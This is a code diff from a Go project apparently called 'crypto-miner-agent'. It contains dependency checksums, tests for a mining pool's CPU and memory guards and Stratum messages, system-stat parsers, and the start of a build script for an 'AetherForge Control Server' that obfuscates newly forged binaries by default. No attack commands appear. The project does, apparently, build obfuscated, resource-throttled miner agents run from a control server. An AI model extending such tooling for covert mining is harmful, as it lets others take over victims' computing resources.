github.com/multiformats/go-multicodec v0.9.1/go.mod h1:LLWNMtyV5ithSBUo3vFIMaeDy+h3EbkMTek1m+Fybbo=
github.com/multiformats/go-multihash v0.0.8/go.mod h1:YSLudS+Pi8NHE7o6tb3D8vrpKa63epEDmG8nTduyAew=
github.com/multiformats/go-multihash v0.2.3 h1:7Lyc8XfX/IY2jWb/gI7JP+o7JEq9hOa7BFvVU9RSh+U=
github.com/multiformats/go-multihash v0.2.3/go.mod h1:dXgKXCXjBzdscBLk9JkjINiEsCKRVch90MdaGiKsvSM=
github.com/multiformats/go-multistream v0.6.1 h1:4aoX5v6T+yWmc2raBHsTvzmFhOI8WVOer28DeBBEYdQ=
github.com/multiformats/go-multistream v0.6.1/go.mod h1:ksQf6kqHAb6zIsyw7Zm+gAuVo57Qbq84E27YlYqavqw=
github.com/multiformats/go-varint v0.0.7 h1:sWSGR+f/eu5ABZA2ZpYKBILXTTs9JWpdEM/nEGOHFS8=
github.com/multiformats/go-varint v0.0.7/go.mod h1:r8PUYw/fD/SjBCiKOoDlGF6QawOELpZAu9eioSos/OU=
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58 h1:onHthvaw9LFnH4t2DcNVpwGmV9E1BkGknEliJkfwQj0=
github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58/go.mod h1:DXv8WO4yhMYhSNPKjeNKa5WY9YCIEBRbNzFFPJbWO6Y=
github.com/pion/datachannel v1.5.10 h1:ly0Q26K1i6ZkGf42W7D4hQYR90pZwzFOjTq5AuCKk4o=
github.com/pion/datachannel v1.5.10/go.mod h1:p/jJfC9arb29W7WrxyKbepTU20CFgyx5oLo8Rs4Py/M=
github.com/pion/dtls/v3 v3.1.2 h1:gqEdOUXLtCGW+afsBLO0LtDD8GnuBBjEy6HRtyofZTc=
github.com/pion/dtls/v3 v3.1.2/go.mod h1:Hw/igcX4pdY69z1Hgv5x7wJFrUkdgHwAn/Q/uo7YHRo=
github.com/pion/ice/v4 v4.0.10 h1:P59w1iauC/wPk9PdY8Vjl4fOFL5B+USq1+xbDcN6gT4=
github.com/pion/ice/v4 v4.0.10/go.mod h1:y3M18aPhIxLlcO/4dn9X8LzLLSma84cx6emMSu14FGw=
github.com/pion/interceptor v0.1.40 h1:e0BjnPcGpr2CFQgKhrQisBU7V3GXK6wrfYrGYaU6Jq4=
github.com/pion/interceptor v0.1.40/go.mod h1:Z6kqH7M/FYirg3frjGJ21VLSRJGBXB/KqaTIrdqnOic=
github.com/pion/logging v0.2.4 h1:tTew+7cmQ+Mc1pTBLKH2puKsOvhm32dROumOZ655zB8=
github.com/pion/logging v0.2.4/go.mod h1:DffhXTKYdNZU+KtJ5pyQDjvOAh/GsNSyv1lbkFbe3so=
github.com/pion/mdns/v2 v2.0.7 h1:c9kM8ewCgjslaAmicYMFQIde2H9/lrZpjBkN8VwoVtM=
github.com/pion/mdns/v2 v2.0.7/go.mod h1:vAdSYNAT0Jy3Ru0zl2YiW3Rm/fJCwIeM0nToenfOJKA=
github.com/pion/randutil v0.1.0 h1:CFG1UdESneORglEsnimhUjf33Rwjubwj6xfiOXBa3mA=
github.com/pion/randutil v0.1.0/go.mod h1:XcJrSMMbbMRhASFVOlj/5hQial/Y8oH/HVo7TBZq+j8=
github.com/pion/rtcp v1.2.16 h1:fk1B1dNW4hsI78XUCljZJlC4kZOPk67mNRuQ0fcEkSo=
github.com/pion/rtcp v1.2.16/go.mod h1:/as7VKfYbs5NIb4h6muQ35kQF/J0ZVNz2Z3xKoCBYOo=
github.com/pion/rtp v1.8.19 h1:jhdO/3XhL/aKm/wARFVmvTfq0lC/CvN1xwYKmduly3c=
github.com/pion/rtp v1.8.19/go.mod h1:bAu2UFKScgzyFqvUKmbvzSdPr+NGbZtv6UB2hesqXBk=
github.com/pion/sctp v1.8.39 h1:PJma40vRHa3UTO3C4MyeJDQ+KIobVYRZQZ0Nt7SjQnE=
github.com/pion/sctp v1.8.39/go.mod h1:cNiLdchXra8fHQwmIoqw0MbLLMs+f7uQ+dGMG2gWebE=
github.com/pion/sdp/v3 v3.0.18 h1:l0bAXazKHpepazVdp+tPYnrsy9dfh7ZbT8DxesH5ZnI=
github.com/pion/sdp/v3 v3.0.18/go.mod h1:ZREGo6A9ZygQ9XkqAj5xYCQtQpif0i6Pa81HOiAdqQ8=
github.com/pion/srtp/v3 v3.0.6 h1:E2gyj1f5X10sB/qILUGIkL4C2CqK269Xq167PbGCc/4=
github.com/pion/srtp/v3 v3.0.6/go.mod h1:BxvziG3v/armJHAaJ87euvkhHqWe9I7iiOy50K2QkhY=
github.com/pion/stun/v3 v3.1.1 h1:CkQxveJ4xGQjulGSROXbXq94TAWu8gIX2dT+ePhUkqw=
github.com/pion/stun/v3 v3.1.1/go.mod h1:qC1DfmcCTQjl9PBaMa5wSn3x9IPmKxSdcCsxBcDBndM=
github.com/pion/transport/v3 v3.0.7 h1:iRbMH05BzSNwhILHoBoAPxoB9xQgOaJk+591KC9P1o0=
github.com/pion/transport/v3 v3.0.7/go.mod h1:YleKiTZ4vqNxVwh77Z0zytYi7rXHl7j6uPLGhhz9rwo=
github.com/pion/transport/v4 v4.0.1 h1:sdROELU6BZ63Ab7FrOLn13M6YdJLY20wldXW2Cu2k8o=
github.com/pion/transport/v4 v4.0.1/go.mod h1:nEuEA4AD5lPdcIegQDpVLgNoDGreqM/YqmEx3ovP4jM=
github.com/pion/turn/v4 v4.0.2 h1:ZqgQ3+MjP32ug30xAbD6Mn+/K4Sxi3SdNOTFf+7mpps=
github.com/pion/turn/v4 v4.0.2/go.mod h1:pMMKP/ieNAG/fN5cZiN4SDuyKsXtNTr0ccN7IToA1zs=
github.com/pion/webrtc/v4 v4.1.2 h1:mpuUo/EJ1zMNKGE79fAdYNFZBX790KE7kQQpLMjjR54=
github.com/pion/webrtc/v4 v4.1.2/go.mod h1:xsCXiNAmMEjIdFxAYU0MbB3RwRieJsegSB2JZsGN+8U=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/prometheus/client_golang v1.22.0 h1:rb93p9lokFEsctTys46VnV1kLCDpVZ0a/Y92Vm0Zc6Q=
github.com/prometheus/client_golang v1.22.0/go.mod h1:R7ljNsLXhuQXYZYtw6GAE9AZg8Y7vEW5scdCXrWRXC0=
github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk=
github.com/prometheus/client_model v0.6.2/go.mod h1:y3m2F6Gdpfy6Ut/GBsUqTWZqCUvMVzSfMLjcu6wAwpE=
github.com/prometheus/common v0.64.0 h1:pdZeA+g617P7oGv1CzdTzyeShxAGrTBsolKNOLQPGO4=
github.com/prometheus/common v0.64.0/go.mod h1:0gZns+BLRQ3V6NdaerOhMbwwRbNh9hkGINtQAsP5GS8=
github.com/prometheus/procfs v0.16.1 h1:hZ15bTNuirocR6u0JZ6BAHHmwS1p8B4P6MRqxtzMyRg=
github.com/prometheus/procfs v0.16.1/go.mod h1:teAbpZRB1iIAJYREa1LsoWUXykVXA1KlTmWl8x/U+Is=
github.com/quic-go/qpack v0.6.0 h1:g7W+BMYynC1LbYLSqRt8PBg5Tgwxn214ZZR34VIOjz8=
github.com/quic-go/qpack v0.6.0/go.mod h1:lUpLKChi8njB4ty2bFLX2x4gzDqXwUpaO1DP9qMDZII=
github.com/quic-go/quic-go v0.59.0 h1:OLJkp1Mlm/aS7dpKgTc6cnpynnD2Xg7C1pwL6vy/SAw=
github.com/quic-go/quic-go v0.59.0/go.mod h1:upnsH4Ju1YkqpLXC305eW3yDZ4NfnNbmQRCMWS58IKU=
github.com/quic-go/webtransport-go v0.10.0 h1:LqXXPOXuETY5Xe8ITdGisBzTYmUOy5eSj+9n4hLTjHI=
github.com/quic-go/webtransport-go v0.10.0/go.mod h1:LeGIXr5BQKE3UsynwVBeQrU1TPrbh73MGoC6jd+V7ow=
github.com/rogpeppe/go-internal v1.10.0 h1:TMyTOH3F/DB16zRVcYyreMH6GnZZrwQVAoYjRBZyWFQ=
github.com/rogpeppe/go-internal v1.10.0/go.mod h1:UQnix2H7Ngw/k4C5ijL5+65zddjncjaFoBhdsK/akog=
github.com/spaolacci/murmur3 v1.1.0 h1:7c1g84S4BPRrfL5Xrdp6fOJ206sU9y293DDHaoy0bLI=
github.com/spaolacci/murmur3 v1.1.0/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA=
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
github.com/wlynxg/anet v0.0.5 h1:J3VJGi1gvo0JwZ/P1/Yc/8p63SoW98B5dHkYDmpgvvU=
github.com/wlynxg/anet v0.0.5/go.mod h1:eay5PRQr7fIVAMbTbchTnO9gG65Hg/uYGdc7mguHxoA=
go.uber.org/dig v1.19.0 h1:BACLhebsYdpQ7IROQ1AGPjrXcP5dF80U3gKoFzbaq/4=
go.uber.org/dig v1.19.0/go.mod h1:Us0rSJiThwCv2GteUN0Q7OKvU7n5J4dxZ9JKUXozFdE=
go.uber.org/fx v1.24.0 h1:wE8mruvpg2kiiL1Vqd0CC+tr0/24XIB10Iwp2lLWzkg=
go.uber.org/fx v1.24.0/go.mod h1:AmDeGyS+ZARGKM4tlH4FY2Jr63VjbEDJHtqXTGP5hbo=
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
go.uber.org/mock v0.5.2 h1:LbtPTcP8A5k9WPXj54PPPbjcI4Y6lhyOZXn+VS7wNko=
go.uber.org/mock v0.5.2/go.mod h1:wLlUxC2vVTPTaE3UD51E0BGOAElKrILxhVSDYQLld5o=
go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0=
go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y=
go.uber.org/zap v1.27.0 h1:aJMhYGrd5QSmlpLMr2MftRKl7t8J8PTZPA732ud/XR8=
go.uber.org/zap v1.27.0/go.mod h1:GB2qFLM7cTU87MWRP2mPIjqfIDnGu+VIO4V/SdhGo2E=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20190611184440-5c40567a22f8/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20200602180216-279210d13fed/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4=
golang.org/x/crypto v0.48.0 h1:/VRzVqiRSggnhY7gNRxPauEQ5Drw9haKdM0jqfcCFts=
golang.org/x/crypto v0.48.0/go.mod h1:r0kV5h3qnFPlQnBSrULhlsRfryS2pmewsg+XfMgkVos=
golang.org/x/exp v0.0.0-20250606033433-dcc06ee1d476 h1:bsqhLWFR6G6xiQcb+JoGqdKdRU6WzPWmK8E0jxTjzo4=
golang.org/x/exp v0.0.0-20250606033433-dcc06ee1d476/go.mod h1:3//PLf8L/X+8b4vuAfHzxeRUl04Adcb341+IGKfnqS8=
golang.org/x/mod v0.32.0 h1:9F4d3PHLljb6x//jOyokMv3eX+YDeepZSEo3mFJy93c=
golang.org/x/mod v0.32.0/go.mod h1:SgipZ/3h2Ci89DlEtEXWUk/HteuRin+HHhN+WbNhguU=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20210423184538-5f58ad60dda6/go.mod h1:OJAsFXCWl8Ukc7SiCT/9KSuxbyM7479/AVlXFRxuMCk=
golang.org/x/net v0.50.0 h1:ucWh9eiCGyDR3vtzso0WMQinm2Dnt8cFMuQa9K33J60=
golang.org/x/net v0.50.0/go.mod h1:UgoSli3F/pBgdJBHCTc+tp3gmrU4XswgGRgtnwWTfyM=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.19.0 h1:vV+1eWNmZ5geRlYjzm2adRgW2/mcpevXNg50YZtPCE4=
golang.org/x/sync v0.19.0/go.mod h1:9KTHXmSnoGruLpwFjVSX0lNNA75CykiMECbovNTZqGI=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200602225109-6fdc65e7d980/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210303074136-134d130e1a04/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210426080607-c94f62235c83/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.41.0 h1:Ivj+2Cp/ylzLiEU89QhWblYnOE9zerudt9Ftecq2C6k=
golang.org/x/sys v0.41.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
golang.org/x/telemetry v0.0.0-20260109210033-bd525da824e2 h1:O1cMQHRfwNpDfDJerqRoE2oD+AFlyid87D40L/OkkJo=
golang.org/x/telemetry v0.0.0-20260109210033-bd525da824e2/go.mod h1:b7fPSJ0pKZ3ccUh8gnTONJxhn3c/PS6tyzQvyqw4iA8=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.34.0 h1:oL/Qq0Kdaqxa1KbNeMKwQq0reLCCaFtqu2eNuSeNHbk=
golang.org/x/text v0.34.0/go.mod h1:homfLqTYRFyVYemLBFl5GgL/DWEiH5wcsQ5gSh1yziA=
golang.org/x/time v0.12.0 h1:ScB/8o8olJvc+CQPWrK3fPZNfh7qgwCrY0zJmoEQLSE=
golang.org/x/time v0.12.0/go.mod h1:CDIdPxbZBQxdj6cxyCIdrNogrJKMJ7pr37NYpMcMDSg=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.41.0 h1:a9b8iMweWG+S0OBnlU36rzLp20z1Rp10w+IY2czHTQc=
golang.org/x/tools v0.41.0/go.mod h1:XSY6eDqxVNiYgezAVqqCeihT4j1U2CCsqvH3WhQpnlg=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
google.golang.org/protobuf v1.36.6 h1:z1NpPI8ku2WgiWnf+t9wTPsn6eP1L7ksHUlkfLvd9xY=
google.golang.org/protobuf v1.36.6/go.mod h1:jduwjTPXsFjZGTmRluh+L6NjiWu7pchiJ2/5YcXBHnY=
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
lukechampine.com/blake3 v1.4.1 h1:I3Smz7gso8w4/TunLKec6K2fn+kyKtDxr/xcQEN84Wg=
lukechampine.com/blake3 v1.4.1/go.mod h1:QFosUxmjB8mnrWFSNwKmvxHpfY72bmD2tQ0kBMM3kwo=

View File

@@ -0,0 +1,74 @@
package miner
import (
"testing"
"crypto-miner-agent/config"
"crypto-miner-agent/stats"
)
func TestPoolResourcesOKBlocksHighMinFreeRAM(t *testing.T) {
r := stats.NewReporter()
free := r.FreeMemoryMB()
if free == 0 {
t.Skip("free memory unavailable on this platform")
}
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
MiningMode: "always",
MinFreeRAM: int(free + 1_000_000),
MaxCPUUsage: 0,
MaxMemoryPct: 0,
}}
p := NewPool(1, cfg, r, nil)
if p.resourcesOK() {
t.Fatal("MinFreeRAM above available free RAM should block mining")
}
}
func TestPoolResourcesOKBlocksLowMaxMemoryPct(t *testing.T) {
r := stats.NewReporter()
total := r.TotalMemoryMB()
if total == 0 {
t.Skip("total memory unavailable on this platform")
}
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
MiningMode: "always",
MaxMemoryPct: 1,
MaxCPUUsage: 0,
MinFreeRAM: 0,
}}
p := NewPool(1, cfg, r, nil)
if p.resourcesOK() {
t.Fatal("MaxMemoryPct=1 should block when system memory use exceeds 1%")
}
}
func TestPoolResourcesOKAllowsHighMaxCPU(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
MiningMode: "always",
MaxCPUUsage: 100,
MinFreeRAM: 0,
}}
p := NewPool(1, cfg, stats.NewReporter(), nil)
if !p.resourcesOK() {
t.Fatal("MaxCPUUsage=100 should allow mining when CPU is at most 100%")
}
}
func TestPoolMiningAllowedRequiresResourcesAndSchedule(t *testing.T) {
r := stats.NewReporter()
free := r.FreeMemoryMB()
if free == 0 {
t.Skip("free memory unavailable on this platform")
}
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
MiningMode: "always",
MinFreeRAM: int(free + 1_000_000),
MaxCPUUsage: 0,
MaxMemoryPct: 0,
}}
p := NewPool(1, cfg, r, nil)
if p.miningAllowed() {
t.Fatal("miningAllowed should deny when resource guard fails even in always mode")
}
}

View File

@@ -147,3 +147,102 @@ func TestStratumMsgJobNotification(t *testing.T) {
t.Fatalf("job notification: %+v", sj)
}
}
func TestBuildStratumEndpointsMultipleBackups(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
PoolHost: "primary.pool",
PoolPort: 3333,
BackupPools: []config.BackupPool{
{Host: "backup1.pool", Port: 4444, Pass: "a"},
{Host: "backup2.pool", Port: 5555, TLS: true},
},
}}
eps := buildStratumEndpoints(cfg)
if len(eps) != 3 {
t.Fatalf("expected primary + 2 backups, got %d", len(eps))
}
if eps[2].Host != "backup2.pool" || eps[2].Port != 5555 || !eps[2].TLS {
t.Fatalf("third endpoint mismatch: %+v", eps[2])
}
}
func TestStratumLoginErrorResponse(t *testing.T) {
line := `{"id":1,"jsonrpc":"2.0","error":{"code":-1,"message":"invalid wallet"}}`
var loginResp stratumMsg
if err := json.Unmarshal([]byte(line), &loginResp); err != nil {
t.Fatal(err)
}
if loginResp.Error == nil {
t.Fatal("expected login error field")
}
if loginResp.Result != nil {
t.Fatal("error response should not carry a result")
}
}
func TestStratumKeepaliveMsgRoundTrip(t *testing.T) {
params := mustMarshal(map[string]string{"id": "sess-abc"})
msg := stratumMsg{ID: 3, JSONRPC: "2.0", Method: "keepalived", Params: params}
b, err := json.Marshal(msg)
if err != nil {
t.Fatal(err)
}
var decoded stratumMsg
if err := json.Unmarshal(b, &decoded); err != nil {
t.Fatal(err)
}
if decoded.Method != "keepalived" || decoded.JSONRPC != "2.0" {
t.Fatalf("keepalive msg: %+v", decoded)
}
var p map[string]string
if err := json.Unmarshal(decoded.Params, &p); err != nil {
t.Fatal(err)
}
if p["id"] != "sess-abc" {
t.Fatalf("keepalive params: %v", p)
}
}
func TestStratumSubmitRequestRoundTrip(t *testing.T) {
params, err := json.Marshal(submitParams{
ID: "sess-1", JobID: "42", Nonce: "04030201", Hash: "deadbeef",
})
if err != nil {
t.Fatal(err)
}
msg := stratumMsg{ID: 4, JSONRPC: "2.0", Method: "submit", Params: params}
b, err := json.Marshal(msg)
if err != nil {
t.Fatal(err)
}
var decoded stratumMsg
if err := json.Unmarshal(b, &decoded); err != nil {
t.Fatal(err)
}
if decoded.Method != "submit" {
t.Fatalf("method=%q", decoded.Method)
}
var sp submitParams
if err := json.Unmarshal(decoded.Params, &sp); err != nil {
t.Fatal(err)
}
if sp.ID != "sess-1" || sp.JobID != "42" || sp.Nonce != "04030201" || sp.Hash != "deadbeef" {
t.Fatalf("submit params: %+v", sp)
}
}
func TestStratumJobParamsInvalidJSON(t *testing.T) {
msg := stratumMsg{Method: "job", Params: json.RawMessage(`{"blob":`)}
var sj stratumJob
if err := json.Unmarshal(msg.Params, &sj); err == nil {
t.Fatal("malformed job params should fail unmarshal")
}
}
func TestStratumLineInvalidJSONIgnored(t *testing.T) {
line := "not-json\n"
var msg stratumMsg
if err := json.Unmarshal([]byte(line), &msg); err == nil {
t.Fatal("invalid stratum line should not parse as msg")
}
}

View File

@@ -17,6 +17,20 @@ func filetimeToUint64(ft filetime) uint64 {
return (uint64(ft.HighDateTime) << 32) | uint64(ft.LowDateTime)
}
func cpuBusyPercentFromDeltas(idleDelta, totalDelta float64) float64 {
if totalDelta <= 0 {
return 0
}
busyPct := (1.0 - idleDelta/totalDelta) * 100
if busyPct < 0 {
return 0
}
if busyPct > 100 {
return 100
}
return busyPct
}
func (r *Reporter) SystemCPUPercent() float64 {
r.mu.Lock()
defer r.mu.Unlock()
@@ -49,15 +63,5 @@ func (r *Reporter) SystemCPUPercent() float64 {
r.lastKernel = kernelTicks
r.lastUser = userTicks
if totalDelta <= 0 {
return 0
}
busyPct := (1.0 - idleDelta/totalDelta) * 100
if busyPct < 0 {
return 0
}
if busyPct > 100 {
return 100
}
return busyPct
return cpuBusyPercentFromDeltas(idleDelta, totalDelta)
}

View File

@@ -0,0 +1,35 @@
//go:build windows
package stats
import "testing"
func TestFiletimeToUint64(t *testing.T) {
ft := filetime{LowDateTime: 0xDEADBEEF, HighDateTime: 0x00001234}
want := (uint64(0x1234) << 32) | 0xDEADBEEF
if got := filetimeToUint64(ft); got != want {
t.Fatalf("got %x want %x", got, want)
}
if filetimeToUint64(filetime{}) != 0 {
t.Fatal("zero filetime should be 0")
}
}
func TestCPUBusyPercentFromDeltas(t *testing.T) {
tests := []struct {
idle, total float64
want float64
}{
{idle: 25, total: 100, want: 75},
{idle: 0, total: 100, want: 100},
{idle: 100, total: 100, want: 0},
{idle: 0, total: 0, want: 0},
{idle: -10, total: 50, want: 100}, // over 100% busy clamped
{idle: 200, total: 100, want: 0}, // negative busy clamped to 0
}
for _, tc := range tests {
if got := cpuBusyPercentFromDeltas(tc.idle, tc.total); got != tc.want {
t.Fatalf("idle=%v total=%v: got %v want %v", tc.idle, tc.total, got, tc.want)
}
}
}

View File

@@ -18,17 +18,24 @@ func (r *Reporter) memoryStatus() (total, avail uint64) {
if err != nil {
return total, total / 2
}
// Rough available estimate from vm_stat free pages
var pageSize uint64 = 4096
var freePages uint64
for _, line := range strings.Split(string(out), "\n") {
avail = parseVmStatFreeBytes(string(out))
return total, avail
}
func parseVmStatFreeBytes(out string) uint64 {
const pageSize uint64 = 4096
return parseVmStatFreePages(out) * pageSize
}
func parseVmStatFreePages(out string) uint64 {
for _, line := range strings.Split(out, "\n") {
if strings.Contains(line, "Pages free") {
parts := strings.Fields(line)
if len(parts) >= 3 {
freePages, _ = strconv.ParseUint(strings.Trim(parts[2], "."), 10, 64)
v, _ := strconv.ParseUint(strings.Trim(parts[2], "."), 10, 64)
return v
}
}
}
avail = freePages * pageSize
return total, avail
return 0
}

View File

@@ -0,0 +1,25 @@
//go:build darwin
package stats
import "testing"
func TestParseVmStatFreePages(t *testing.T) {
out := `Mach Virtual Memory Statistics: (page size of 4096 bytes)
Pages free: 12345.
Pages active: 67890.
`
if got := parseVmStatFreePages(out); got != 12345 {
t.Fatalf("got %d", got)
}
if parseVmStatFreePages("no free pages here") != 0 {
t.Fatal("missing line should return 0")
}
}
func TestParseVmStatFreeBytes(t *testing.T) {
out := "Pages free: 1000.\n"
if got := parseVmStatFreeBytes(out); got != 1000*4096 {
t.Fatalf("got %d", got)
}
}

View File

@@ -4,6 +4,7 @@ package stats
import (
"bufio"
"io"
"os"
"strconv"
"strings"
@@ -15,8 +16,12 @@ func (r *Reporter) memoryStatus() (total, avail uint64) {
return 0, 0
}
defer f.Close()
return parseMeminfo(f)
}
func parseMeminfo(r io.Reader) (total, avail uint64) {
var memTotal, memAvail uint64
sc := bufio.NewScanner(f)
sc := bufio.NewScanner(r)
for sc.Scan() {
line := sc.Text()
if strings.HasPrefix(line, "MemTotal:") {

View File

@@ -2,7 +2,10 @@
package stats
import "testing"
import (
"strings"
"testing"
)
func TestParseKB(t *testing.T) {
if got := parseKB("MemTotal: 16384000 kB"); got != 16384000 {
@@ -11,4 +14,30 @@ func TestParseKB(t *testing.T) {
if parseKB("short") != 0 {
t.Fatal("invalid line should return 0")
}
if parseKB("MemAvailable: 0 kB") != 0 {
t.Fatal("zero kB should parse as 0")
}
}
func TestParseMeminfo(t *testing.T) {
content := strings.Join([]string{
"MemTotal: 16384000 kB",
"MemFree: 8192000 kB",
"MemAvailable: 4096000 kB",
}, "\n")
total, avail := parseMeminfo(strings.NewReader(content))
if total != 16384000*1024 {
t.Fatalf("total %d", total)
}
if avail != 4096000*1024 {
t.Fatalf("avail %d", avail)
}
}
func TestParseMeminfoMissingTotal(t *testing.T) {
content := "MemAvailable: 4096000 kB\n"
total, avail := parseMeminfo(strings.NewReader(content))
if total != 0 || avail != 0 {
t.Fatalf("missing MemTotal: total=%d avail=%d", total, avail)
}
}

263
devrun.bat Normal file
View File

@@ -0,0 +1,263 @@
@echo off
setlocal EnableExtensions EnableDelayedExpansion
title AetherForge Control Server (dev)
cd /d "%~dp0"
set "ROOT=%CD%"
if /i "%~1"=="release" (
set "AETHERFORGE_RELEASE=1"
echo Release mode: Garble obfuscation default ON for new forges.
)
:: Remove corrupt empty Go file that breaks server builds (accidental placeholder).
if exist "server\internal\ollama\main.go" (
for %%F in ("server\internal\ollama\main.go") do if %%~zF==0 del "server\internal\ollama\main.go"
)
echo.
echo ==============================================================
echo AetherForge - Dev Build + Control Server
echo ==============================================================
echo This window stays open and shows live server logs.
echo Press Ctrl+C to stop the server.
echo Portable/USB: use LAUNCH.bat instead of devrun.bat.
echo ==============================================================
echo.
:: Common tool paths (Go/Node installs + user Go bin for garble)
set "PATH=C:\Program Files\Go\bin;%USERPROFILE%\go\bin;C:\Program Files\nodejs;%PATH%"
:: ============================================================
:: STEP 1: Go
:: ============================================================
echo [1/5] Checking Go...
where go >nul 2>nul
if errorlevel 1 goto install_go
echo Go found:
call go version
goto go_ready
:install_go
echo Go not found. Checking for existing installation...
if exist "C:\Program Files\Go\bin\go.exe" (
echo Found Go at C:\Program Files\Go\bin
set "PATH=C:\Program Files\Go\bin;%PATH%"
goto go_ready
)
echo Downloading and installing Go...
if /i "%PROCESSOR_ARCHITECTURE%"=="AMD64" (
set "GO_ARCH=amd64"
) else (
set "GO_ARCH=386"
)
set "GO_VERSION=1.22.2"
set "GO_URL=https://go.dev/dl/go%GO_VERSION%.windows-%GO_ARCH%.msi"
